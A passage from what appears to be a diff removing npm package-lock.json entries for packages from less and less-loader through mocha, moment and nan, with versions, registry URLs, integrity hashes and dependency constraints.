"sha512-Cmf5XJlzNklkBC8eAa+Ef16AHUBAkApHNAw3x9Vmn84h2BvGrri5Id7kf6H1n6SN74Fc0WdHIRPlFMxsl0eJkA==", - "dev": true, - "bin": { - "lessc": "bin/lessc" - }, - "engines": { - "node": ">=4" - }, - "optionalDependencies": { - "errno": "^0.1.1", - "graceful-fs": "^4.1.2", - "image-size": "~0.5.0", - "mime": "^1.4.1", - "mkdirp": "^0.5.0", - "promise": "^7.1.1", - "request": "^2.83.0", - "source-map": "~0.6.0" - } - }, - "node_modules/less-loader": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-4.1.0.tgz", - "integrity": "sha512-KNTsgCE9tMOM70+ddxp9yyt9iHqgmSs0yTZc5XH5Wo+g80RWRIYNqE58QJKm/yMud5wZEvz50ugRDuzVIkyahg==", - "dev": true, - "dependencies": { - "clone": "^2.1.1", - "loader-utils": "^1.1.0", - "pify": "^3.0.0" - }, - "engines": { - "node": ">= 4.8 < 5.0.0 || >= 5.10" - }, - "peerDependencies": { - "less": "^2.3.1 || ^3.0.0", - "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" - } - }, - "node_modules/less-loader/node_modules/clone": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.1.tgz", - "integrity": "sha1-0hfR6WERjjrJpLi7oyhVU79kfNs=", - "dev": true, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/less-loader/node_modules/pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/less/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/levenary": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", - "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", - "dev": true, - "dependencies": { - "leven": "^3.1.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", - "dev": true, - "dependencies": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/livereload-js": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/livereload-js/-/livereload-js-2.3.0.tgz", - "integrity": "sha512-j1R0/FeGa64Y+NmqfZhyoVRzcFlOZ8sNlKzHjh4VvLULFACZhn68XrX5DFg2FhMvSMJmROuFxRSa560ECWKBMg==", - "dev": true - }, - "node_modules/load-json-file": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", - "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "strip-bom": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/loader-fs-cache": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.1.tgz", - "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=", - "dev": true, - "dependencies": { - "find-cache-dir": "^0.1.1", - "mkdirp": "0.5.1" - } - }, - "node_modules/loader-fs-cache/node_modules/find-cache-dir": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", - "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", - "dev": true, - "dependencies": { - "commondir": "^1.0.1", - "mkdirp": "^0.5.1", - "pkg-dir": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/loader-fs-cache/node_modules/pkg-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", - "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", - "dev": true, - "dependencies": { - "find-up": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/loader-runner": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", - "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", - "dev": true, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", - "dev": true, - "dependencies": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "dev": true, - "dependencies": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/locate-path/node_modules/path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/lodash": { - "version": "4.17.19", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", - "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==", - "dev": true - }, - "node_modules/lodash.camelcase": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", - "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", - "dev": true - }, - "node_modules/lodash.debounce": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", - "dev": true - }, - "node_modules/lodash.defaults": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", - "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", - "dev": true - }, - "node_modules/lodash.difference": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", - "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw=", - "dev": true - }, - "node_modules/lodash.flatten": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", - "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", - "dev": true - }, - "node_modules/lodash.isplainobject": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", - "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", - "dev": true - }, - "node_modules/lodash.memoize": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-3.0.4.tgz", - "integrity": "sha1-LcvSwofLwKVcxCMovQxzYVDVPj8=", - "dev": true - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true - }, - "node_modules/lodash.tail": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", - "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=", - "dev": true - }, - "node_modules/lodash.throttle": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", - "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" - }, - "node_modules/lodash.union": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", - "dev": true - }, - "node_modules/lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true - }, - "node_modules/longest": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", - "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/loose-envify": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", - "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", - "dependencies": { - "js-tokens": "^3.0.0" - }, - "bin": { - "loose-envify": "cli.js" - } - }, - "node_modules/loud-rejection": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", - "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", - "dev": true, - "dependencies": { - "currently-unhandled": "^0.4.1", - "signal-exit": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/lru-cache": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", - "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "dev": true, - "dependencies": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "node_modules/make-dir": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", - "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", - "dev": true, - "dependencies": { - "pify": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/make-dir/node_modules/pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/map-cache": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", - "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/map-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/map-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", - "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", - "dev": true, - "dependencies": { - "object-visit": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/material-colors": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/material-colors/-/material-colors-1.2.6.tgz", - "integrity": "sha512-6qE4B9deFBIa9YSpOc9O0Sgc43zTeVYbgDT5veRKSlB2+ZuHNoVVxA1L/ckMUayV9Ay9y7Z/SZCLcGteW9i7bg==" - }, - "node_modules/math-expression-evaluator": { - "version": "1.2.17", - "resolved": "https://registry.npmjs.org/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz", - "integrity": "sha1-3oGf282E3M2PrlnGrreWFbnSZqw=", - "dev": true - }, - "node_modules/math-random": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.1.tgz", - "integrity": "sha1-izqsWIuKZuSXXjzepn97sylgH6w=", - "dev": true - }, - "node_modules/md5": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/md5/-/md5-2.2.1.tgz", - "integrity": "sha1-U6s41f48iJG6RlMp6iP6wFQBJvk=", - "dev": true, - "dependencies": { - "charenc": "~0.0.1", - "crypt": "~0.0.1", - "is-buffer": "~1.1.1" - } - }, - "node_modules/mdn-data": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-1.1.4.tgz", - "integrity": "sha512-FSYbp3lyKjyj3E7fMl6rYvUdX0FBXaluGqlFoYESWQlyUTq8R+wp0rkFxoYFqZlHCvsUXGjyJmLQSnXToYhOSA==", - "dev": true - }, - "node_modules/mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "dev": true, - "dependencies": { - "mimic-fn": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/memory-fs": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", - "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", - "dev": true, - "dependencies": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - } - }, - "node_modules/meow": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", - "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", - "dev": true, - "dependencies": { - "camelcase-keys": "^2.0.0", - "decamelize": "^1.1.2", - "loud-rejection": "^1.0.0", - "map-obj": "^1.0.1", - "minimist": "^1.1.3", - "normalize-package-data": "^2.3.4", - "object-assign": "^4.0.1", - "read-pkg-up": "^1.0.1", - "redent": "^1.0.0", - "trim-newlines": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/merge": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/merge/-/merge-1.2.0.tgz", - "integrity": "sha1-dTHjnUlJwoGma4xabgJl6LBYlNo=", - "dev": true - }, - "node_modules/micromatch": { - "version": "2.3.11", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", - "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", - "dev": true, - "dependencies": { - "arr-diff": "^2.0.0", - "array-unique": "^0.2.1", - "braces": "^1.8.2", - "expand-brackets": "^0.1.4", - "extglob": "^0.3.1", - "filename-regex": "^2.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.1", - "kind-of": "^3.0.2", - "normalize-path": "^2.0.1", - "object.omit": "^2.0.0", - "parse-glob": "^3.0.4", - "regex-cache": "^0.4.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/miller-rabin": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.0.tgz", - "integrity": "sha1-SmL7HUKTPAVYOYL0xxb2+55sbT0=", - "dev": true, - "dependencies": { - "bn.js": "^4.0.0", - "brorand": "^1.0.1" - }, - "bin": { - "miller-rabin": "bin/miller-rabin" - } - }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "dev": true, - "optional": true, - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/mime-db": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", - "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", - "dev": true, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.18", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", - "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", - "dev": true, - "dependencies": { - "mime-db": "~1.33.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/mimic-response": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.0.tgz", - "integrity": "sha1-3z02Uqc/3ta5sLJBRub9BSNTRY4=", - "dev": true, - "optional": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/minimalistic-assert": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.0.tgz", - "integrity": "sha1-cCvi3aazf0g2vLP121ZkG2Sh09M=", - "dev": true - }, - "node_modules/minimalistic-crypto-utils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", - "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", - "dev": true - }, - "node_modules/minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "dev": true - }, - "node_modules/mississippi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", - "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", - "dev": true, - "dependencies": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/mixin-deep": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", - "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", - "deprecated": "Critical bug fixed in v2.0.1, please upgrade to the latest version.", - "dev": true, - "dependencies": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/mixin-deep/node_modules/is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "dependencies": { - "is-plain-object": "^2.0.4" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/mixin-object": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", - "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", - "dev": true, - "dependencies": { - "for-in": "^0.1.3", - "is-extendable": "^0.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/mixin-object/node_modules/for-in": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", - "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/mkdirp": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", - "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "deprecated": "Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)", - "dev": true, - "dependencies": { - "minimist": "0.0.8" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/mkdirp/node_modules/minimist": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "dev": true - }, - "node_modules/mocha": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-4.1.0.tgz", - "integrity": "sha512-0RVnjg1HJsXY2YFDoTNzcc1NKhYuXKRrBAG2gDygmJJA136Cs2QlRliZG1mA0ap7cuaT30mw16luAeln+4RiNA==", - "dev": true, - "dependencies": { - "browser-stdout": "1.3.0", - "commander": "2.11.0", - "debug": "3.1.0", - "diff": "3.3.1", - "escape-string-regexp": "1.0.5", - "glob": "7.1.2", - "growl": "1.10.3", - "he": "1.1.1", - "mkdirp": "0.5.1", - "supports-color": "4.4.0" - }, - "bin": { - "_mocha": "bin/_mocha", - "mocha": "bin/mocha" - }, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/mocha-junit-reporter": { - "version": "1.23.1", - "resolved": "https://registry.npmjs.org/mocha-junit-reporter/-/mocha-junit-reporter-1.23.1.tgz", - "integrity": "sha512-qeDvKlZyAH2YJE1vhryvjUQ06t2hcnwwu4k5Ddwn0GQINhgEYFhlGM0DwYCVUHq5cuo32qAW6HDsTHt7zz99Ng==", - "dev": true, - "dependencies": { - "debug": "^2.2.0", - "md5": "^2.1.0", - "mkdirp": "~0.5.1", - "strip-ansi": "^4.0.0", - "xml": "^1.0.0" - }, - "peerDependencies": { - "mocha": ">=2.2.5" - } - }, - "node_modules/mocha-junit-reporter/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/mocha-junit-reporter/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/mocha/node_modules/commander": { - "version": "2.11.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz", - "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==", - "dev": true - }, - "node_modules/mocha/node_modules/debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/mocha/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/mocha/node_modules/has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/mocha/node_modules/supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", - "dev": true, - "dependencies": { - "has-flag": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/module-deps": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/module-deps/-/module-deps-6.1.0.tgz", - "integrity": "sha512-NPs5N511VD1rrVJihSso/LiBShRbJALYBKzDW91uZYy7BpjnO4bGnZL3HjZ9yKcFdZUWwaYjDz9zxbuP7vKMuQ==", - "dev": true, - "dependencies": { - "browser-resolve": "^1.7.0", - "cached-path-relative": "^1.0.0", - "concat-stream": "~1.6.0", - "defined": "^1.0.0", - "detective": "^5.0.2", - "duplexer2": "^0.1.2", - "inherits": "^2.0.1", - "JSONStream": "^1.0.3", - "parents": "^1.0.0", - "readable-stream": "^2.0.2", - "resolve": "^1.4.0", - "stream-combiner2": "^1.1.1", - "subarg": "^1.0.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - }, - "bin": { - "module-deps": "bin/cmd.js" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/module-deps/node_modules/concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "dependencies": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "node_modules/moment": { - "version": "2.22.2", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", - "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=", - "engines": { - "node": "*" - } - }, - "node_modules/moment-timezone": { - "version": "0.5.21", - "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.21.tgz", - "integrity": "sha512-j96bAh4otsgj3lKydm3K7kdtA3iKf2m6MY2iSYCzCm5a1zmHo1g+aK3068dDEeocLZQIS9kU8bsdQHLqEvgW0A==", - "dependencies": { - "moment": ">= 2.9.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/move-concurrently": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", - "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", - "dev": true, - "dependencies": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" - } - }, - "node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - }, - "node_modules/mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", - "dev": true - }, - "node_modules/nan": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.9.2.tgz", - "integrity": 